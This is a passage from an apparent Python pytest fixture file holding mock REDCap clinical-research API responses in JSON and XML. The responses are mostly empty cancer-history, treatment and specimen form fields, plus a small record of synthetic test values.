_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"","follow_up_visit_status":"","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"","treatment_status":"","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"","radiation_type___2":"","radiation_type___3":"","radiation_type___4":"","radiation_type___5":"","radiation_type___6":"","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"","formstatus_demo":"1","date_form_completed":"2016-08-24","general_comments":"","gender":"0","subject_ethnicity":"2","race___1":"0","race___2":"0","race___3":"0","race___4":"0","race___5":"0","race___7":"0","form_status_dm":"1","demographics_form_complete":"0","formstatus_medhis":"","canc_predisp_condition___1":"0","canc_predisp_condition___2":"0","canc_predisp_condition___3":"0","canc_predisp_condition___4":"0","canc_predisp_condition___5":"0","canc_predisp_condition___6":"0","canc_predisp_condition___7":"0","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"0","family_member___2":"0","family_member___3":"0","family_member___4":"0","family_member___5":"0","family_member___6":"0","family_member___7":"0","family_member___8":"0","family_member___9":"0","family_member___10":"0","family_member___11":"0","other_family_history":"","cancer_type___1":"0","cancer_type___2":"0","cancer_type___3":"0","cancer_type___4":"0","cancer_type___5":"0","cancer_type___6":"0","cancer_type___7":"0","cancer_type___8":"0","cancer_type___9":"0","cancer_type___10":"0","cancer_type___11":"0","cancer_type___12":"0","cancer_type___13":"0","cancer_type___14":"0","cancer_type___15":"0","cancer_type___16":"0","cancer_type___17":"0","other_description":"","father_what_type_of_cancer___1":"0","father_what_type_of_cancer___2":"0","father_what_type_of_cancer___3":"0","father_what_type_of_cancer___4":"0","father_what_type_of_cancer___5":"0","father_what_type_of_cancer___6":"0","father_what_type_of_cancer___7":"0","father_what_type_of_cancer___8":"0","father_what_type_of_cancer___9":"0","father_what_type_of_cancer___10":"0","father_what_type_of_cancer___11":"0","father_what_type_of_cancer___12":"0","father_what_type_of_cancer___13":"0","father_what_type_of_cancer___14":"0","father_what_type_of_cancer___15":"0","father_what_type_of_cancer___16":"0","father_what_type_of_cancer___17":"0","father_description_of_othe":"","sister_what_type_of_cancer___1":"0","sister_what_type_of_cancer___2":"0","sister_what_type_of_cancer___3":"0","sister_what_type_of_cancer___4":"0","sister_what_type_of_cancer___5":"0","sister_what_type_of_cancer___6":"0","sister_what_type_of_cancer___7":"0","sister_what_type_of_cancer___8":"0","sister_what_type_of_cancer___9":"0","sister_what_type_of_cancer___10":"0","sister_what_type_of_cancer___11":"0","sister_what_type_of_cancer___12":"0","sister_what_type_of_cancer___13":"0","sister_what_type_of_cancer___14":"0","sister_what_type_of_cancer___15":"0","sister_what_type_of_cancer___16":"0","sister_what_type_of_cancer___17":"0","sister_description_of_othe":"","brother_what_type_of_cance___1":"0","brother_what_type_of_cance___2":"0","brother_what_type_of_cance___3":"0","brother_what_type_of_cance___4":"0","brother_what_type_of_cance___5":"0","brother_what_type_of_cance___6":"0","brother_what_type_of_cance___7":"0","brother_what_type_of_cance___8":"0","brother_what_type_of_cance___9":"0","brother_what_type_of_cance___10":"0","brother_what_type_of_cance___11":"0","brother_what_type_of_cance___12":"0","brother_what_type_of_cance___13":"0","brother_what_type_of_cance___14":"0","brother_what_type_of_cance___15":"0","brother_what_type_of_cance___16":"0","brother_what_type_of_cance___17":"0","brother_description_of_oth":"","maternal_grandmother_what___1":"0","maternal_grandmother_what___2":"0","maternal_grandmother_what___3":"0","maternal_grandmother_what___4":"0","maternal_grandmother_what___5":"0","maternal_grandmother_what___6":"0","maternal_grandmother_what___7":"0","maternal_grandmother_what___8":"0","maternal_grandmother_what___9":"0","maternal_grandmother_what___10":"0","maternal_grandmother_what___11":"0","maternal_grandmother_what___12":"0","maternal_grandmother_what___13":"0","maternal_grandmother_what___14":"0","maternal_grandmother_what___15":"0","maternal_grandmother_what___16":"0","maternal_grandmother_what___17":"0","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"0","maternal_father_cancer_type___2":"0","maternal_father_cancer_type___3":"0","maternal_father_cancer_type___4":"0","maternal_father_cancer_type___5":"0","maternal_father_cancer_type___6":"0","maternal_father_cancer_type___7":"0","maternal_father_cancer_type___8":"0","maternal_father_cancer_type___9":"0","maternal_father_cancer_type___10":"0","maternal_father_cancer_type___11":"0","maternal_father_cancer_type___12":"0","maternal_father_cancer_type___13":"0","maternal_father_cancer_type___14":"0","maternal_father_cancer_type___15":"0","maternal_father_cancer_type___16":"0","maternal_father_cancer_type___17":"0","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"0","paternal_mother_cancer_type___2":"0","paternal_mother_cancer_type___3":"0","paternal_mother_cancer_type___4":"0","paternal_mother_cancer_type___5":"0","paternal_mother_cancer_type___6":"0","paternal_mother_cancer_type___7":"0","paternal_mother_cancer_type___8":"0","paternal_mother_cancer_type___9":"0","paternal_mother_cancer_type___10":"0","paternal_mother_cancer_type___11":"0","paternal_mother_cancer_type___12":"0","paternal_mother_cancer_type___13":"0","paternal_mother_cancer_type___14":"0","paternal_mother_cancer_type___15":"0","paternal_mother_cancer_type___16":"0","paternal_mother_cancer_type___17":"0","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"0","paternal_father_type_cancer___2":"0","paternal_father_type_cancer___3":"0","paternal_father_type_cancer___4":"0","paternal_father_type_cancer___5":"0","paternal_father_type_cancer___6":"0","paternal_father_type_cancer___7":"0","paternal_father_type_cancer___8":"0","paternal_father_type_cancer___9":"0","paternal_father_type_cancer___10":"0","paternal_father_type_cancer___11":"0","paternal_father_type_cancer___12":"0","paternal_father_type_cancer___13":"0","paternal_father_type_cancer___14":"0","paternal_father_type_cancer___15":"0","paternal_father_type_cancer___16":"0","paternal_father_type_cancer___17":"0","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"0","other_what_type_of_cancer___2":"0","other_what_type_of_cancer___3":"0","other_what_type_of_cancer___4":"0","other_what_type_of_cancer___5":"0","other_what_type_of_cancer___6":"0","other_what_type_of_cancer___7":"0","other_what_type_of_cancer___8":"0","other_what_type_of_cancer___9":"0","other_what_type_of_cancer___10":"0","other_what_type_of_cancer___11":"0","other_what_type_of_cancer___12":"0","other_what_type_of_cancer___13":"0","other_what_type_of_cancer___14":"0","other_what_type_of_cancer___15":"0","other_what_type_of_cancer___16":"0","other_what_type_of_cancer___17":"0","other_description_of_other":"","unspecified_what_type_cancer___1":"0","unspecified_what_type_cancer___2":"0","unspecified_what_type_cancer___3":"0","unspecified_what_type_cancer___4":"0","unspecified_what_type_cancer___5":"0","unspecified_what_type_cancer___6":"0","unspecified_what_type_cancer___7":"0","unspecified_what_type_cancer___8":"0","unspecified_what_type_cancer___9":"0","unspecified_what_type_cancer___10":"0","unspecified_what_type_cancer___11":"0","unspecified_what_type_cancer___12":"0","unspecified_what_type_cancer___13":"0","unspecified_what_type_cancer___14":"0","unspecified_what_type_cancer___15":"0","unspecified_what_type_cancer___16":"0","unspecified_what_type_cancer___17":"0","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"0","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"","recur_path_diag2_c0e2_575___17":"","recur_path_diag2_c0e2_575___2":"","recur_path_diag2_c0e2_575___3":"","recur_path_diag2_c0e2_575___18":"","recur_path_diag2_c0e2_575___5":"","recur_path_diag2_c0e2_575___6":"","recur_path_diag2_c0e2_575___7":"","recur_path_diag2_c0e2_575___8":"","recur_path_diag2_c0e2_575___19":"","recur_path_diag2_c0e2_575___20":"","recur_path_diag2_c0e2_575___21":"","recur_path_diag2_c0e2_575___22":"","recur_path_diag2_c0e2_575___10":"","recur_path_diag2_c0e2_575___11":"","recur_path_diag2_c0e2_575___12":"","recur_path_diag2_c0e2_575___15":"","recur_path_diag2_c0e2_575___16":"","recur_path_diag2_c0e2_575___23":"","recur_path_diag2_c0e2_575___24":"","recur_path_diag2_c0e2_575___25":"","recur_path_diag2_c0e2_575___26":"","recur_path_diag2_c0e2_575___27":"","recur_path_diag2_c0e2_575___28":"","recur_path_diag2_c0e2_575___29":"","recur_path_diag2_c0e2_575___30":"","recur_path_diag2_c0e2_575___31":"","recur_path_diag2_c0e2_575___14":"","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"","tumor_primary_locatio2_f42___2":"","tumor_primary_locatio2_f42___3":"","tumor_primary_locatio2_f42___4":"","tumor_primary_locatio2_f42___5":"","tumor_primary_locatio2_f42___6":"","tumor_primary_locatio2_f42___7":"","tumor_primary_locatio2_f42___8":"","tumor_primary_locatio2_f42___9":"","tumor_primary_locatio2_f42___10":"","tumor_primary_locatio2_f42___11":"","tumor_primary_locatio2_f42___12":"","tumor_primary_locatio2_f42___13":"","tumor_primary_locatio2_f42___14":"","tumor_primary_locatio2_f42___15":"","tumor_primary_locatio2_f42___16":"","tumor_primary_locatio2_f42___17":"","tumor_primary_locatio2_f42___18":"","tumor_primary_locatio2_f42___19":"","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"","meta_site___2":"","meta_site___3":"","meta_site___4":"","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"","why_was_new_treatment_init___2":"","why_was_new_treatment_init___3":"","why_was_new_treatment_init___4":"","new_tumor_treat2_b8b___4":"","new_tumor_treat2_b8b___0":"","new_tumor_treat2_b8b___1":"","new_tumor_treat2_b8b___2":"","new_tumor_treat2_b8b___5":"","new_tumor_treat2_b8b___3":"","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"","additional_tumor_molecular___2":"","additional_tumor_molecular___3":"","additional_tumor_molecular___4":"","additional_tumor_molecular___5":"","additional_tumor_molecular___6":"","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""}]'
@pytest.fixture(scope='module')
def redcap_record_xml():
return b'<?xml version="1.0" encoding="UTF-8" ?><records><item><study_id><![CDATA[0GUQDBCDE0EAWN9Q:8LAG76CHO]]></study_id><redcap_event_name><![CDATA[visit_arm_1]]></redcap_event_name><date_enrolled><![CDATA[]]></date_enrolled><ethnicity><![CDATA[]]></ethnicity><race><![CDATA[]]></race><sex><![CDATA[]]></sex><given_birth><![CDATA[]]></given_birth><num_children><![CDATA[]]></num_children><demographics_complete><![CDATA[]]></demographics_complete><specify_mood><![CDATA[50]]></specify_mood><meds___1><![CDATA[1]]></meds___1><meds___2><![CDATA[0]]></meds___2><meds___3><![CDATA[0]]></meds___3><meds___4><![CDATA[0]]></meds___4><meds___5><![CDATA[0]]></meds___5><height><![CDATA[100]]></height><weight><![CDATA[20]]></weight><comments><![CDATA[Test Data]]></comments><prealb_b><![CDATA[19]]></prealb_b><creat_b><![CDATA[0.6]]></creat_b><chol_b><![CDATA[101]]></chol_b><transferrin_b><![CDATA[102]]></transferrin_b><ibd_flag><![CDATA[1]]></ibd_flag><general_ibd><![CDATA[2016-08-31]]></general_ibd><chrons><![CDATA[2016-08-31]]></chrons><ulcerative_colitis><![CDATA[2016-08-31]]></ulcerative_colitis><colonoscopy><![CDATA[0]]></colonoscopy><colonoscopy_date><![CDATA[2016-08-31]]></colonoscopy_date><meal_date><![CDATA[2016-08-31]]></meal_date><baseline_visit_data_complete><![CDATA[0]]></baseline_visit_data_complete><meal_description><![CDATA[]]></meal_description><types_of_food><![CDATA[]]></types_of_food><healthy><![CDATA[]]></healthy><meal_description_form_complete><![CDATA[]]></meal_description_form_complete></item></records>'
# Corner case:
# Params: token=token&content=record&format=json&records=0GUQDBCDE0EAWN9Q:8LAG76CHO&type=flat&rawOrLabel=raw&events=demographics_arm_1'
@pytest.fixture(scope='module')
def redcap_imported_record_json():
return b'[{"study_id":"0GUQDBCDE0EAWN9Q:8LAG76CHO","redcap_event_name":"demographics_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"","follow_up_visit_status":"","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"","treatment_status":"","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"","radiation_type___2":"","radiation_type___3":"","radiation_type___4":"","radiation_type___5":"","radiation_type___6":"","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"","formstatus_demo":"1","date_form_completed":"2016-08-24","general_comments":"","gender":"0","subject_ethnicity":"2","race___1":"0","race___2":"0","race___3":"0","race___4":"0","race___5":"0","race___7":"0","form_status_dm":"1","demographics_form_complete":"0","formstatus_medhis":"","canc_predisp_condition___1":"0","canc_predisp_condition___2":"0","canc_predisp_condition___3":"0","canc_predisp_condition___4":"0","canc_predisp_condition___5":"0","canc_predisp_condition___6":"0","canc_predisp_condition___7":"0","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"0","family_member___2":"0","family_member___3":"0","family_member___4":"0","family_member___5":"0","family_member___6":"0","family_member___7":"0","family_member___8":"0","family_member___9":"0","family_member___10":"0","family_member___11":"0","other_family_history":"","cancer_type___1":"0","cancer_type___2":"0","cancer_type___3":"0","cancer_type___4":"0","cancer_type___5":"0","cancer_type___6":"0","cancer_type___7":"0","cancer_type___8":"0","cancer_type___9":"0","cancer_type___10":"0","cancer_type___11":"0","cancer_type___12":"0","cancer_type___13":"0","cancer_type___14":"0","cancer_type___15":"0","cancer_type___16":"0","cancer_type___17":"0","other_description":"","father_what_type_of_cancer___1":"0","father_what_type_of_cancer___2":"0","father_what_type_of_cancer___3":"0","father_what_type_of_cancer___4":"0","father_what_type_of_cancer___5":"0","father_what_type_of_cancer___6":"0","father_what_type_of_cancer___7":"0","father_what_type_of_cancer___8":"0","father_what_type_of_cancer___9":"0","father_what_type_of_cancer___10":"0","father_what_type_of_cancer___11":"0","father_what_type_of_cancer___12":"0","father_what_type_of_cancer___13":"0","father_what_type_of_cancer___14":"0","father_what_type_of_cancer___15":"0","father_what_type_of_cancer___16":"0","father_what_type_of_cancer___17":"0","father_description_of_othe":"","sister_what_type_of_cancer___1":"0","sister_what_type_of_cancer___2":"0","sister_what_type_of_cancer___3":"0","sister_what_type_of_cancer___4":"0","sister_what_type_of_cancer___5":"0","sister_what_type_of_cancer___6":"0","sister_what_type_of_cancer___7":"0","sister_what_type_of_cancer___8":"0","sister_what_type_of_cancer___9":"0","sister_what_type_of_cancer___10":"0","sister_what_type_of_cancer___11":"0","sister_what_type_of_cancer___12":"0","sister_what_type_of_cancer___13":"0","sister_what_type_of_cancer___14":"0","sister_what_type_of_cancer___15":"0","sister_what_type_of_cancer___16":"0","sister_what_type_of_cancer___17":"0","sister_description_of_othe":"","brother_what_type_of_cance___1":"0","brother_what_type_of_cance___2":"0","brother_what_type_of_cance___3":"0","brother_what_type_of_cance___4":"0","brother_what_type_of_cance___5":"0","brother_what_type_of_cance___6":"0","brother_what_type_of_cance___7":"0","brother_what_type_of_cance___8":"0","brother_what_type_of_cance___9":"0","brother_what_type_of_cance___10":"0","brother_what_type_of_cance___11":"0","brother_what_type_of_cance___12":"0","brother_what_type_of_cance___13":"0","brother_what_type_of_cance___14":"0","brother_what_type_of_cance___15":"0","brother_what_type_of_cance___16":"0","brother_what_type_of_cance___17":"0","brother_description_of_oth":"","maternal_grandmother_what___1":"0","maternal_grandmother_what___2":"0","maternal_grandmother_what___3":"0","maternal_grandmother_what___4":"0","maternal_grandmother_what___5":"0","maternal_grandmother_what___6":"0","maternal_grandmother_what___7":"0","maternal_grandmother_what___8":"0","maternal_grandmother_what___9":"0","maternal_grandmother_what___10":"0","maternal_grandmother_what___11":"0","maternal_grandmother_what___12":"0","maternal_grandmother_what___13":"0","maternal_grandmother_what___14":"0","maternal_grandmother_what___15":"0","maternal_grandmother_what___16":"0","maternal_grandmother_what___17":"0","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"0","maternal_father_cancer_type___2":"0","maternal_father_cancer_type___3":"0","maternal_father_cancer_type___4":"0","maternal_father_cancer_type___5":"0","maternal_father_cancer_type___6":"0","maternal_father_cancer_type___7":"0","maternal_father_cancer_type___8":"0","maternal_father_cancer_type___9":"0","maternal_father_cancer_type___10":"0","maternal_father_cancer_type___11":"0","maternal_father_cancer_type___12":"0","maternal_father_cancer_type___13":"0","maternal_father_cancer_type___14":"0","maternal_father_cancer_type___15":"0","maternal_father_cancer_type___16":"0","maternal_father_cancer_type___17":"0","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"0","paternal_mother_cancer_type___2":"0","paternal_mother_cancer_type___3":"0","paternal_mother_cancer_type___4":"0","paternal_mother_cancer_type___5":"0","paternal_mother_cancer_type___6":"0","paternal_mother_cancer_type___7":"0","paternal_mother_cancer_type___8":"0","paternal_mother_cancer_type___9":"0","paternal_mother_cancer_type___10":"0","paternal_mother_cancer_type___11":"0","paternal_mother_cancer_type___12":"0","paternal_mother_cancer_type___13":"0","paternal_mother_cancer_type___14":"0","paternal_mother_cancer_type___15":"0","paternal_mother_cancer_type___16":"0","paternal_mother_cancer_type___17":"0","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"0","paternal_father_type_cancer___2":"0","paternal_father_type_cancer___3":"0","paternal_father_type_cancer___4":"0","paternal_father_type_cancer___5":"0","paternal_father_type_cancer___6":"0","paternal_father_type_cancer___7":"0","paternal_father_type_cancer___8":"0","paternal_father_type_cancer___9":"0","paternal_father_type_cancer___10":"0","paternal_father_type_cancer___11":"0","paternal_father_type_cancer___12":"0","paternal_father_type_cancer___13":"0","paternal_father_type_cancer___14":"0","paternal_father_type_cancer___15":"0","paternal_father_type_cancer___16":"0","paternal_father_type_cancer___17":"0","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"0","other_what_type_of_cancer___2":"0","other_what_type_of_cancer___3":"0","other_what_type_of_cancer___4":"0","other_what_type_of_cancer___5":"0","other_what_type_of_cancer___6":"0","other_what_type_of_cancer___7":"0","other_what_type_of_cancer___8":"0","other_what_type_of_cancer___9":"0","other_what_type_of_cancer___10":"0","other_what_type_of_cancer___11":"0","other_what_type_of_cancer___12":"0","other_what_type_of_cancer___13":"0","other_what_type_of_cancer___14":"0","other_what_type_of_cancer___15":"0","other_what_type_of_cancer___16":"0","other_what_type_of_cancer___17":"0","other_description_of_other":"","unspecified_what_type_cancer___1":"0","unspecified_what_type_cancer___2":"0","unspecified_what_type_cancer___3":"0","unspecified_what_type_cancer___4":"0","unspecified_what_type_cancer___5":"0","unspecified_what_type_cancer___6":"0","unspecified_what_type_cancer___7":"0","unspecified_what_type_cancer___8":"0","unspecified_what_type_cancer___9":"0","unspecified_what_type_cancer___10":"0","unspecified_what_type_cancer___11":"0","unspecified_what_type_cancer___12":"0","unspecified_what_type_cancer___13":"0","unspecified_what_type_cancer___14":"0","unspecified_what_type_cancer___15":"0","unspecified_what_type_cancer___16":"0","unspecified_what_type_cancer___17":"0","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"0","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___1